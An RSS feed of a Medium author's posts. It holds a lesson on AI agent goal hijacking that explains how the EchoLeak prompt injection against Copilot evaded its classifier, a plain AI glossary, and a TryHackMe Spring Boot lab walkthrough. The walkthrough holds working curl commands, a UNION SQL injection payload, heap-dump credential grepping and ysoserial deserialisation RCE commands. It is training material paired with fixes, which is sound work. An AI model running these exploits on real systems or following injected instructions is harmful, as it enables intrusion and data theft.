<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by alina moldovan on Medium]]></title>
        <description><![CDATA[Stories by alina moldovan on Medium]]></description>
        <link>https://medium.com/@alina.moldovan12?source=rss-97028caf4c6f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by alina moldovan on Medium</title>
            <link>https://medium.com/@alina.moldovan12?source=rss-97028caf4c6f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 18:48:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alina.moldovan12/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ASI01: Agent Goal Hijack]]></title>
            <link>https://medium.com/@alina.moldovan12/asi01-agent-goal-hijack-abfd132612ee?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/abfd132612ee</guid>
            <category><![CDATA[agentic-ai]]></category>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 06:26:17 GMT</pubDate>
            <atom:updated>2026-11-18T06:26:17.767Z</atom:updated>
            <content:encoded><![CDATA[<p>All of an agent’s capabilities and architecture discussed in that room are in support of enabling that agent to achieve a goal. See how one poisoned email let EchoLeak steer Copilot, and why an agent’s goal is so easy to steal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vwiEvJNl26mebr_s.png" /></figure><p>This vulnerability is present when an attacker is able to hijack that goal and use the agent to do something else entirely. Due to the inherent weakness in how natural-language instructions and related content are processed, agents and the underlying model cannot reliably distinguish instructions from related content. As a result, attackers can manipulate an agent’s objectives, task selection, or decision pathways through a variety of techniques. Some examples of these techniques include:</p><ul><li><strong>Prompt-based manipulation:</strong> Instructions embedded directly in text the agent processes; a message, a document, a page, written to look like ordinary content but read by the model as a command.</li><li><strong>Deceptive tool output:</strong> A tool the agent calls returns a result that isn’t just data, but carries embedded instructions the agent treats as trustworthy guidance rather than untrusted output.</li><li><strong>Malicious artefact:</strong> Files, templates, or documents the agent ingests as part of a normal task. An upload or a shared template can carry hidden instructions inside otherwise unremarkable-looking content.</li><li><strong>Forged agent-to-agent message:</strong> In a multi-agent system, a message that claims to come from a trusted peer agent but is actually attacker-crafted, exploiting the fact that agents tend to trust internal-looking requests by default.</li><li><strong>Poisoned external data:</strong> Data the agent retrieves from a connected source (e.g., a database, an API, a RAG store) that’s been tampered with upstream. This way, the manipulation arrives disguised as reference material rather than as an instruction at all.</li></ul><p><strong>ASI01 </strong>(Agent Goal Hijack) is at its core incredibly similar to <strong>LLM01 </strong>(Prompt Injection). And since conflation causes confusion, let’s put these vulnerabilities under the microscope and find out where they overlap, and where they don’t. The clear overlap is that a malicious instruction is smuggled in disguised as ordinary content, with nothing in the system able to tell the difference once it arrives. The difference, and what makes ASI01 a distinct vulnerability, is what the manipulation is allowed to touch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TMpPMII_L5XXrSZk.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3eUqiHjGeY-ypR1_iJHEcQ.png" /></figure><h4>How the Hijack Happens</h4><p>The underlying core reason may be light revision for you if you’re familiar with prompt injection and how it is possible. An LLM doesn’t receive “the user instructions” and “the retrieved document” as separate, labelled channels with different trust levels enforced by the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_lNypdeCuAtXZfYG.png" /></figure><p>Instead, it receives one linear sequence of tokens. The messages sent to the model are labelled by role (for example, system, user, assistant, or tool_result), with each part labelled to identify its source. The model has learned during training to treat those roles with different levels of trust. But that’s a learned habit, not a rule enforced by anything outside of the model. Once text enters that sequence, whether it arrived as the user’s own words or as a paragraph pulled from a retrieved webpage, the model is reasoning over all of it as language to interpret and respond to.</p><p>And it’s here we arrive at one of the core reasons AI applications are so dangerous from a security perspective, because they blur the line between data and instructions. It’s not because they are “badly engineered”; it’s simply that the moment an application feeds retrieved or external content back into the model’s input, that content is competing for the same interpretive space as the original instruction, with nothing structurally separating the two. There are a myriad of techniques that can be used, like those covered in the Prompt Injection and Jailbreaking rooms, which aim to send malicious instructions to the application and win that interpretive competition. What is not light prompt injection revision is how much worse agentic AI’s capabilities make the implications of this attack.</p><h4>Why This Is Worse Once There’s an Agentic Loop</h4><p>To understand why it’s that much worse when there’s an agentic loop, we’ll refer back to the core teachings in the Agentic Fundamentals room. We’re no longer dealing with a single call-and-response chatbot here; agents run a loop where each cycle’s output (reasoning, tool calls, tool results) feeds back in as input to the next cycle. Remember the loop discussed in that fundamentals room? Where the agent perceives, reasons, decides and acts, and repeats? Now put that in the context of injecting a malicious instruction into a model and hijacking its goal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W-0QzW-OduNC972-.png" /></figure><p>Once a piece of an attacker’s content gets accepted into the agent’s working context as if it were legitimate task information, there’s nothing marking it as “arrived three steps ago via a tool result” versus “part of the original instruction”. Every subsequent reasoning cycle of the loop reads the whole context fresh, so the attacker hasn’t simply hijacked the goal to produce a single malicious action; the hijacked goal persists as part of what the agent believes its job is, for as many cycles as it takes to run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*na5A_rn3j7uwaG9iKhxUQw.png" /></figure><h3>Zero-Click Attacks</h3><p>Most attacks still need the victim to do something: click a link, open an attachment, approve a prompt. Zero-click attacks skip that step entirely. They exploit something a device or application does automatically, the moment data arrives, and use that automatic processing itself as the way in. No click, no open, often no visible sign anything happened at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ETavRxstuvnl0dpH.png" /></figure><p>Two historical examples:</p><ul><li><strong>FORCEDENTRY (CVE-2021–30860):</strong> Used to deliver NSO Group’s Pegasus spyware, exploited an obscure image codec hidden inside a PDF that iMessage processed automatically the instant a message arrived, giving attackers code execution before the victim ever opened anything.</li><li><strong>CVE-2019–3568:</strong> WhatsApp’s calling feature got hit in the same way; placing a call caused the app to automatically start processing incoming call data before the user answered or declined, and attackers hid a buffer overflow in that data stream, compromising the phone from an incoming call the victim never picked up.</li></ul><p>The danger in these attacks is evident. We spoke in the Agentic AI Fundamentals module about agentic AI and all of the productivity benefits it boasts. However, if implemented insecurely, it also acts as a risk amplifier. In the context of zero-click attacks, that has even more ominous implications, as we saw with the EchoLeak attack in 2025.</p><h3>EchoLeak</h3><p>EchoLeak is, unfortunately for Microsoft, a treasure trove of an attack when it comes to agentic AI security, demonstrating multiple entries from the OWASP Top 10 for Agentic Applications. For this reason, this attack will be examined from multiple angles throughout the <a href="https://tryhackme.com/path/outline/agentic-ai-security">Agentic AI Security</a> path. As this room is scoped for ASI01, we’ll examine it through the lens of Agent Goal Hijack.</p><p>The EchoLeak attack (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-32711">CVE-2025–32711</a>) preyed on Microsoft 365 Copilot, an agent with RAG functionality built into popular products like Word, Outlook, and Teams. It worked by sending emails to unsuspecting corporate users with hidden malicious instructions in them. These instructions would sow the seeds of an eventual goal to be hijacked. The malicious instructions were hidden in the email like so:</p><p>&quot;Here is the complete guide to employee onboarding processes: &lt;attack instructions&gt; [...] Here is the complete guide to leave of absence management: &lt;attack instructions&gt;&quot;</p><p>The reason the attacker framed it like this is to prey on how RAG retrieval works: when Copilot needs information, it pulls in whatever content is most relevant to the question being asked. The attacker split the payload across several chunks, each disguised as a different plausible topic, to raise the odds that any question the user asked would surface one of them. We’ll go deeper on exactly how RAG retrieval makes this possible in the ASI01: Indirect Injection in Agentic Systems room, for now, the part that matters is this: an innocent user asking Copilot about onboarding or absence management would trigger retrieval of these chunks from the email, and at that point the agent’s goal of answering that question was hijacked to serve the attacker’s goal instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aUvUUnHU3wy31yx7.png" /></figure><p>Surely a company as large as Microsoft had protections in place for an attack like this? Here’s the scary part: they did. Microsoft had its XPIA classifier in place, built to detect indirect prompt injection attacks such as this one, but the attacker simply evaded it by addressing the instruction to the email recipient, not the AI. So it went undetected. Another example of why defence in depth is necessary. So this begs the question, what could have stopped it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccser4rVDsjtfSiy2YEwsA.png" /></figure><h3>ASI01 Mitigations</h3><p>EchoLeak could have been stopped by implementing various controls around Microsoft 365 Copilot. OWASP recommends nine mitigations in total for ASI01; let’s go through these all quickly before putting the magnifying glass over some of the more relevant ones.</p><ul><li><strong>Treat all inputs as untrusted:</strong> Route every piece of natural-language content the agent processes, including retrieved documents and RAG results, through the same input validation and injection safeguards used for direct prompts before it can influence what the agent does.</li><li><strong>Enforce least privilege and human approval:</strong> Limit tool access by default, and require sign-off before high-impact or goal-changing actions.</li><li><strong>Lock and audit system prompts:</strong> Define goals and permitted actions explicitly, with changes routed through configuration management and approval.</li><li><strong>Validate intent at runtime:</strong> Check proposed actions against the original task before executing, pausing for review on deviation.</li><li><strong>Consider “intent capsules”:</strong> Bind the agent’s goal, constraints, and context into a signed package per execution cycle.</li><li><strong>Sanitise connected data sources:</strong> Filter RAG stores, emails, files, and APIs for hidden instructions before they can shape the agent’s goals.</li><li><strong>Log and monitor for goal drift:</strong> Baseline the agent’s goal state and tool use, and alert on deviation.</li><li><strong>Red-team goal override:</strong> Run adversarial tests simulating hijack attempts, and verify rollback works.</li><li><strong>Fold agents into insider threat monitoring:</strong> Treat agents as monitored entities within existing insider threat processes.</li></ul><h3>Which Could Have Stopped the EchoLeak Goal Hijack?</h3><p><strong>Treat all inputs as untrusted:</strong> You may have been reading this mitigation and thinking, “Hang on a sec, didn’t you say Microsoft implemented this via an XPIA classifier at the end of the last task?” And that would be exactly right. This serves as a prime example of why a single line of defence is never enough, because organisations often rest easy thinking “this defence will stop X attack.” The reality is that attackers are sometimes smart enough to bypass defences, and this is why defence in depth is so important, especially in this era of autonomous agents. So let’s consider what other mitigations could have been combined with this one to prevent the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*poV81Fid_ikujbzN.png" /></figure><p><strong>Sanitise connected data sources:</strong> Probably the most direct match as a mitigation to EchoLeak. OWASP names RAG inputs and emails in this guideline, which is close to a description of EchoLeak’s exact entry point: a malicious email, retrieved automatically via RAG, never sanitised for hidden instructions before it reached the model’s context.</p><p><strong>Log and monitor for goal drift:</strong> Relevant because EchoLeak was silent and zero-click; nothing visibly went wrong from the user’s side. A behavioural baseline that flags unexpected goal shifts, an agent suddenly retrieving and transmitting data nobody asked about, is the layer that could have caught this even after the classifier was bypassed. This has been a high level overview of agent goal hijack mitigations, however we will dive deeper into this in the “Defending Against Agent Goal Hijack” room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NEHT_jt5bGrZC3bvRCz-rg.png" /></figure><h4>Practical: Hijack the Agent</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*n-4PKmL6NP1sRcFXDv9eBQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abfd132612ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI Glossary]]></title>
            <link>https://medium.com/@alina.moldovan12/ai-glossary-f1ca84032fb8?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1ca84032fb8</guid>
            <category><![CDATA[genai]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Thu, 20 Aug 2026 10:45:15 GMT</pubDate>
            <atom:updated>2026-08-20T10:45:15.805Z</atom:updated>
            <content:encoded><![CDATA[<p>Flash Cards Edition</p><p>Here is a list of AI concepts with easy to understand definitions that I have been compiling for some time. These definitions are suitable for flash cards</p><ul><li><strong>Artificial intelligence: </strong>A broad field of computer science focused on building systems that can perform tasks that normally require human intelligence( like reasoning, learning or problem solving)</li><li><strong>Generative AI: </strong>a subset of AI that does not just analyze existing data, but creates entirely new content( text, code, images or audio) based on the patterns that has learned</li><li><strong>LLM: </strong>the “brain” behind text-based GenAI. It’s a massive statistical model trained on billions of pages of text to predict the most likely next word in a sentence</li><li><strong>AI Agents: </strong>an LLM equipped with goals and tools . An agent can act autonomously to achieve a task</li><li><strong>Model Context Protocol(MCP): </strong>An open standard that acts as a secure “universal” plug between AI models and data sources, making it easy to connect any AI agent to your database, files and developer tools</li><li><strong>Retrieval Augmented Generation(RAG): </strong>A technique that hooks an LLM up to a private database. RAG finds the relevant documents first and feeds them to the LLM so it can answer accurately using your specific, up-to-date data.</li><li><strong>Fine-Tuning: </strong>The process of taking an existing pre-trained LLM and training it on a smaller, specific dataset to teach it a specific style, tone, or highly specific skill</li><li><strong>Prompt Engineering: </strong>the “art” of structuring instructions given to an LLM to get the highest-quality most accurate output</li><li><strong>Few-Shot Prompting: </strong>Providing the LLM with a few examples of desired inputs and outputs directly inside the prompt so it can learn what is the correct format and pattern is before attempting your actual task</li><li><strong>Chain of Thought: </strong>An instruction style that forces the LLM to explain it’s step-by-step reasoning out loud before writing it’s final answer. It improves performance on logical, mathematical, and coding tasks</li><li><strong>Hallucination: </strong>When an LLM confidently generates false, fabricated, or inaccurate information because it is predicting the mostly likely next word rather than checking the actual facts</li><li><strong>Vector Database: </strong>A specialized database that stores information as mathematical coordinates(vectors). It allows AIs to quickly find similar concepts, words, or images based on their meaning rather than exact keyword matches</li><li><strong>Model Quantization: </strong>A compression technique that reduces the mathematical precision of an LLM’s weight. This make the model much smaller and faster, allowing it to run on cheaper hardware or local devices with minimal loss in quality</li><li><strong>Knowledge Distillation: </strong>A training method where a large, higly capable “teacher” model (like Claude Opus) is used to train a smaller, cheaper “student” model (like Claude Haiku). This transfers complex reasoning capabilities to a model that is much faster and cheaper to run</li><li><strong>Tool Call/Tool Use: </strong>The process where an LLM decides to use an external piece of software to fetch real-time data or perform an action that it cannot do on its own</li><li><strong>Embeddings: </strong>the mathematical translation of text into long lists of numbers(vector) that represent its semantic meaning. Words or sentences with similar meaning will have embeddings that are mathematically close to each other in vector space</li><li><strong>System Prompt( Developer Instructions): </strong>A hidden, high-priority set of instructions given to an LLM before the user starts chatting. It permanently defines the AIs persona boundaries, rules, and access permissions for the duration of the entire session</li><li><strong>Prompt Injection: </strong>A security vulnerability where a malicious user tricks the AI into ignoring it’s original instructions or system prompts, forcing it to perform unauthorized actions or leak private data</li><li><strong>Vibe-Testing: </strong>The informal, manual practice of testing an AI application by simply chatting with it and seeing if the answer “feels” right rather than using unstructured automated benchmarks</li><li><strong>Grounding: </strong>The practice of forcing AI to base it’s response strictly on trusted verifiable source documents rather than relying on its own broad, pre-trained memory</li><li><strong>Temperature: </strong>A setting that controls the creativity or randomness of the AIs output. A temperature of 0 makes it deterministic and factual</li><li><strong>Multi-Agent System: </strong>A setup of multiple specialized AI agents that work together on a complex task</li><li><strong>Context Window: </strong>AIs short term memory, maximum number of tokens the model can read and process at any one given time during a conversation</li><li><strong>Tokens: </strong>“currency” of LLMs. Words are chopped into tiny syllable sized pieces. Are billed and limited by how many tokens they process</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1ca84032fb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Frameworks: Java]]></title>
            <link>https://medium.com/@alina.moldovan12/web-frameworks-java-d3fca7c2bfd9?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3fca7c2bfd9</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Wed, 15 Jul 2026 12:31:07 GMT</pubDate>
            <atom:updated>2026-07-15T12:31:07.122Z</atom:updated>
            <content:encoded><![CDATA[<p>Review Spring Boot source, find the framework-specific sinks, and exploit each on the lab machine.</p><h3>Actuator Misconfiguration and Environment Leak</h3><p>Actuator is the management subsystem that ships with the spring-boot-starter-actuator dependency. It exposes health, metrics, environment, mappings, a heap dump, and more. None of these endpoints help an end user; all of them help a developer or an attacker. Spring Boot 2.x restricts the exposed set to health and info by default, and one line of configuration opens the rest.</p><h4>Spotting It in the Source</h4><p>Open application.properties in the viewer. The line that matters is:</p><pre>management.endpoints.web.exposure.include=*</pre><p>The wildcard exposes every Actuator endpoint on the application’s own port. Teams set exactly this for monitoring or because they copied it from a forum answer. Below it, a custom property holds a value the source keeps blank:</p><pre>app.actuatorflag=&lt;REDACTED&gt;</pre><p>Two facts from one file: the management surface is wide open, and there is a custom property worth reading off the running app. Actuator’s /env endpoint masks keys that match its sensitive-key list (password, secret, key, token, credentials). A key like app.actuatorflag matches none of them, so it renders in cleartext.</p><h4>Exploiting the Live App</h4><p>First list what is exposed, then read the property straight out of /actuator/env:</p><p>List the Actuator surface</p><pre>root@TryHackMe:~# curl -s http://10.113.161.42:8080/actuator | jq &#39;._links | keys&#39;</pre><p>With the wildcard set, the listing includes env, heapdump, mappings, configprops, and more. Read the custom property directly by appending its name to the /env path:</p><p>Leak the property from /actuator/env</p><pre>root@TryHackMe:~# curl -s http://10.113.161.42:8080/actuator/env/app.actuatorflag | jq<br>{<br>  &quot;property&quot;: {<br>    &quot;source&quot;: &quot;Config resource &#39;class path resource [application.properties]&#39; ...&quot;,<br>    &quot;value&quot;: &quot;THM{...}&quot;<br>  },<br>  ...<br>}</pre><p>The value renders in full because its key is not on Actuator’s sensitive list. The same surface hands us a second, heavier option: /actuator/heapdump downloads a binary snapshot of the entire JVM heap, and strings over it finds any credential the application holds in memory. For a single named property, /env is the precise tool; for hunting database passwords and API keys that never appear in config, the heap dump is the one that finds everything.</p><p>The heap dump alternative</p><pre>root@TryHackMe:~# curl -s http://10.113.161.42:8080/actuator/heapdump -o heap.hprof<br>root@TryHackMe:~# strings heap.hprof | grep -iE &#39;password|secret|token&#39; | sort -u | head</pre><p>A heap dump is worth understanding because it leaks what config never holds. A .hprof file is a snapshot of every live object in the JVM: every interned string, every field on every bean, every in-flight request. Spring&#39;s @Value(&quot;${db.password}&quot;) injection in particular keeps the value as a strong reference for the life of the application, so it is in every dump. strings is a fast first pass; <strong>VisualVM</strong> or <strong>Eclipse MAT</strong> open the file for structured browsing when the credential is wrapped in an object rather than sitting as a bare string.</p><p>Version matters during a review. Spring Boot 1.x exposed /env by default and even allowed writing to it, which chains to RCE through /refresh. Spring Boot 2.x restricted exposure to health and info, made /env read-only, and is the version where the wildcard above is the giveaway. Spring Boot 3.x masks /env values by default, pushing attackers back toward the heap dump. Operators sometimes wrap Actuator with Spring Security, but that is bypassable when the team moves it to management.server.port and forgets to firewall that port, or hard-codes /actuator/** paths a proxy never reaches.</p><p>The lesson for a review is mechanical: find exposure.include=* (or a 1.x app at all), and treat the management surface as a secret-disclosure endpoint. The fix is to expose only what operations needs and to put Actuator behind authentication on a separate, firewalled port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLwhRa3NXnSqR-25qB2BVw.png" /></figure><h3>SQL Injection below the Spring Data Layer</h3><p>Spring Data and JPA parameterise the queries they generate, and Spring’s JdbcTemplate parameterises too when you pass arguments separately. The protection holds right up until a developer builds the SQL string themselves and drops the user&#39;s input into it. At that point the query is assembled from attacker text and the binding guarantee is gone, exactly as it would be with raw JDBC.</p><h4>Spotting It in the Source</h4><p>Open SearchController.java in the viewer and read the search action:</p><pre>String sql = &quot;SELECT id, title, body FROM articles WHERE title = &#39;&quot; + q + &quot;&#39;&quot;;<br>List&lt;Map&lt;String, Object&gt;&gt; rows = jdbc.queryForList(sql);</pre><p>The user-supplied q is concatenated straight into the SQL string inside single quotes. The safe form passes q as a bound parameter, jdbc.queryForList(&quot;... WHERE title = ?&quot;, q), where the value can never break out of the string. During a review the pattern to grep for is exactly this: a SQL string built with + or String.format that mixes in a request value, then handed to queryForList, query, execute, or an EntityManager createQuery.</p><p>Now open Flag.java in the viewer. It sits in the same model package as Article and User, and its @Table(name = &quot;flags&quot;) class annotation names the table directly: flags, with a name and a secret column, and no controller exposes it. This is the white-box advantage at work: by reading the model we recover the schema, the table name and the column, before sending a single payload. With the schema in hand we can UNION the flag straight out of the injectable query.</p><h4>Exploiting the Live App</h4><p>The query selects three columns (id, title, body), so our UNION has to return three. We close the quote, UNION a select of the secret from the flags table, and comment out the trailing quote the application appends:</p><p>UNION-based SQL injection</p><pre>root@TryHackMe:~# curl -s --get http://10.113.161.42:8080/search \<br>  --data-urlencode &quot;q=&#39; UNION SELECT id, secret, secret FROM flags -- &quot;<br>{&quot;results&quot;:[{&quot;ID&quot;:1,&quot;TITLE&quot;:&quot;THM{...}&quot;,&quot;BODY&quot;:&quot;THM{...}&quot;}]}</pre><p>Flags explained:</p><ul><li>--get, send the data as a query string on a GET request</li><li>--data-urlencode, URL-encode the payload so the quotes, spaces, and comment survive transit</li></ul><p>We place secret in both the title and body positions so the flag shows up whichever field the response renders, and the -- comment swallows the quote the application adds after our input. The response returns the row from the hidden flags table that no route was ever meant to reach.</p><p>The same trap exists at every layer of Spring’s data access, and each has a safe twin a reviewer should recognise. JdbcTemplate is safe with queryForList(sql, args...) and unsafe when the SQL is pre-built from input. JPA is safe with @Query named or positional parameters (:title or ?1) and unsafe when a developer concatenates into a createQuery string. Even the repository method-name derivation is safe, because Spring generates parameterised SQL from the method signature. So the review question is always the same: does the user value reach the database as a bound parameter, or as part of the query text? When it is part of the text, the surrounding entity classes hand us the schema, the table and column names, to exfiltrate through the hole.</p><p>The takeaway is simple: an ORM or a JdbcTemplate is not proof of safety. The moment we see a SQL string built from input rather than parameters, the endpoint is injectable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fL8qXAEAh1g7rtuAf-hLkw.png" /></figure><h4>Mass Assignment And Model Biding</h4><p>Spring’s data binder turns request parameters into a Java object. A controller method declares a parameter type annotated @ModelAttribute, and the binder matches incoming form fields, query values, and path data to that type&#39;s properties by name. It is convenient and automatic. The problem is that &quot;by name&quot; means &quot;every property by name&quot;, including ones the form never rendered. Mass assignment, the Spring name for overposting, is the result: an attacker sends an extra field and the binder sets it anyway.</p><p>The binder does not care where a value came from. Form fields, query-string parameters, and path variables all feed the same matching step, so an attacker can smuggle a property in through whichever channel the action accepts. It also does not care whether the UI ever displayed the field. The rendered form is just HTML; the binding contract is the parameter type, not the page. This is why mass assignment turns up again and again in code that binds JPA entities straight from the request, the convenient default is the insecure one.</p><h4>Spotting It in the Source</h4><p>Open User.java in the viewer:</p><pre>@Entity<br>@Table(name = &quot;users&quot;)<br>public class User {<br>    private Long id;<br>    private String username;<br>    private String password;<br>    private String email;<br>    private String role = &quot;USER&quot;;<br>    // getters and setters<br>}</pre><p>The role field is the prize. Now open AccountController.java and read the profile update action:</p><pre>@PostMapping(&quot;/account/update&quot;)<br>public String update(@ModelAttribute User user, HttpSession session) {<br>    ...<br>    users.save(user);<br>    return &quot;redirect:/account/profile&quot;;<br>}</pre><p>The action binds the whole User entity straight from the request and saves it. The profile form renders only an email field, but binding happens against the entire class. If we add role=ADMIN to the POST body, the binder sets it and the save persists it. The fix a reviewer recommends is to bind a Data Transfer Object that has no role field, or to restrict the binder with an @InitBinder method calling setAllowedFields(&quot;email&quot;). Binding entity types straight from the request is the root cause; both fixes keep the sensitive field away from the binder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YKOlcku8onBan5LymqF1Q.png" /></figure><h3>Java Deserialization to RCE</h3><p>Java deserialisation has been a reliable source of remote code execution since the <strong>ysoserial</strong> payloads were published in 2015. The idea is simple: when an application calls ObjectInputStream.readObject() on attacker-controlled bytes, it rebuilds a Java object graph. If the classpath holds the right &quot;gadget&quot; classes, that reconstruction can be steered into running arbitrary code. Recognising the sink and checking the classpath is a core Java review skill. The bytes do not have to arrive over HTTP either: RMI services, JMX endpoints, and message-queue consumers all deserialise, which is why an open RMI port on an internal scan deserves the same suspicion as a readObject in a controller.</p><p>Open ImportController.java in the viewer:</p><pre>byte[] data = Base64.getDecoder().decode(body);<br>try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {<br>    Object obj = ois.readObject();   // sink<br>}</pre><p>The endpoint base64-decodes the request body and calls readObject() on it. That single call is the sink. Lookalike sinks to grep for in any Java review include XStream.fromXML(), XMLDecoder.readObject(), SnakeYAML&#39;s yaml.load(), and Jackson configured with enableDefaultTyping() or @JsonTypeInfo open typing. SpEL injection through SpelExpressionParser is a separate Spring-specific RCE worth knowing too.</p><p>A sink alone is not enough; the gadget chain needs a vulnerable library on the classpath. Open pom.xml in the viewer and the dependency is right there:</p><pre>&lt;dependency&gt;<br>    &lt;groupId&gt;commons-collections&lt;/groupId&gt;<br>    &lt;artifactId&gt;commons-collections&lt;/artifactId&gt;<br>    &lt;version&gt;3.2.1&lt;/version&gt;<br>&lt;/dependency&gt;</pre><p>Apache Commons Collections 3.2.1 is exactly what the ysoserial CommonsCollections6 chain needs. Reading the build file told us which gadget will work before we sent anything.</p><h4>Exploiting the Live App</h4><p>This is the one step in the room that needs a tool beyond curl: <strong>ysoserial</strong>, the Java deserialisation payload generator. It is a runnable JAR, the AttackBox already has Java, and you can grab the JAR from https://github.com/frohoff/ysoserial/releases if it is not already present.</p><p>Generate a CommonsCollections6 payload whose command copies the flag into the app&#39;s web-served export directory, base64-encode it, and POST it to the sink:</p><p>Generate and send the gadget chain</p><pre>root@TryHackMe:~# java -jar ysoserial-all.jar CommonsCollections6 \<br>  &#39;cp /flags/deser.txt /app/loot/out.txt&#39; | base64 -w0 &gt; payload.b64<br>root@TryHackMe:~# curl -s -X POST http://10.113.161.42:8080/internal/import --data-binary @payload.b64<br>{&quot;status&quot;:&quot;error&quot;,&quot;detail&quot;:&quot;...&quot;}</pre><p>The POST returns a deserialisation error because the rebuilt object is not what the controller expected, but the gadget already ran during readObject, so the command executed regardless. This is the normal shape of a deserialisation RCE: the exploit fires as a side effect of reconstruction, well before the application code ever inspects the result. Read the flag back from the export directory:</p><p>Read the dropped flag</p><pre>root@TryHackMe:~# curl -s http://10.113.161.42:8080/loot/out.txt<br>THM{...}</pre><p>The command cp needs no shell features, so it runs cleanly through the gadget&#39;s Runtime.exec. For commands that need a pipe or a redirect, ysoserial users wrap them in bash -c {echo,BASE64}|{base64,-d}|bash, but a plain two-argument copy keeps this step simple.</p><p>It helps to know the family so a single pass over a codebase flags them. ObjectInputStream.readObject is the classic, but XStream.fromXML, XMLDecoder.readObject, SnakeYAML&#39;s yaml.load, and a Jackson ObjectMapper with enableDefaultTyping() (or @JsonTypeInfo open typing) all instantiate types named in the input. Where these read attacker data, treat them as the same bug. The gadget chain is the other half: CommonsCollections6 strings together InvokerTransformer, LazyMap, and TiedMapEntry from Commons Collections to turn a readObject into a method call of the attacker&#39;s choosing, which is why the dependency in pom.xml decided the outcome before we sent a byte. Modern JDKs ship an ObjectInputFilter mechanism (JEP 290) that can allow-list classes during deserialisation, and an app that sets a strict filter, or simply stops deserialising untrusted input, closes the sink even with the gadget present.</p><p>The pattern to carry into any Java review is the same: find the readObject (or lookalike) call, check whether the bytes are attacker-controlled, then check the classpath for a gadget library. All three present means remote code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BP1Of3GvsoX7t2B7Nnfv0A.png" /></figure><p>Each task so far solved one bug in isolation. The point of a source review is to step back and rank what we found. We reviewed one application with four issues: an open management surface that leaks a property, a SQL injection that reads a hidden table, a mass-assignment bug that escalates a user, and a deserialisation endpoint that runs code. Three of those read or change data. One of them, the deserialisation sink reachable with a gadget already on the classpath, gives code execution on the host itself, which outranks everything else.</p><p>Ranking is the skill the review teaches. The env leak, the injection, and the overpost each expose one slice of the application, and they are serious, but their blast radius stops at the app. Code execution is a different tier: from a foothold in the JVM process we can read any file the service account can reach, pivot to other services, harvest credentials, and persist. That is why the readObject sink, paired with the commons-collections dependency we spotted in pom.xml, is the finding that matters most on this host. So the chain is the methodology, not a new trick: read the source, rank by impact, and turn the highest-impact finding into a foothold.</p><p>It is worth seeing how the earlier findings feed this judgement rather than standing alone. The Actuator review told us the app trusts its own configuration surface, which is where a real engagement would hunt for the database credentials and signing keys that enable lateral movement. The deserialisation review told us the app loads a gadget library and calls readObject on request data, the single fact that turns a web bug into host access. A black-box tester might find these in any order and weight them equally; reading the source lets us line them up and say, with evidence, which one owns the machine. That is the difference the white-box angle makes.</p><h3>Recovering the Final Flag</h3><p>Reuse the deserialisation foothold to read a flag that no route ever serves. It sits in a file on disk that only running code can reach, so we copy it into the web-served export directory and download it:</p><p>Read the host-only flag via the foothold</p><pre>root@TryHackMe:~# java -jar ysoserial-all.jar CommonsCollections6 \<br>  &#39;cp /flags/chain.txt /app/loot/chain.txt&#39; | base64 -w0 &gt; chain.b64<br>root@TryHackMe:~# curl -s -X POST http://10.113.164.231:8080/internal/import --data-binary @chain.b64 -o /dev/null<br>root@TryHackMe:~# curl -s http://10.113.164.231:8080/loot/chain.txt<br>THM{...}</pre><p>Step back and look at what we did. We read the source to find where each bug lived, ranked them by impact, and turned the deserialisation sink into a foothold that read a flag no endpoint exposes. Before claiming the RCE we confirmed it, reading the dropped file back over HTTP rather than trusting a blind request, because a careful tester proves code execution rather than assuming the gadget fired. Writing this up, a useful report leads with the remote code 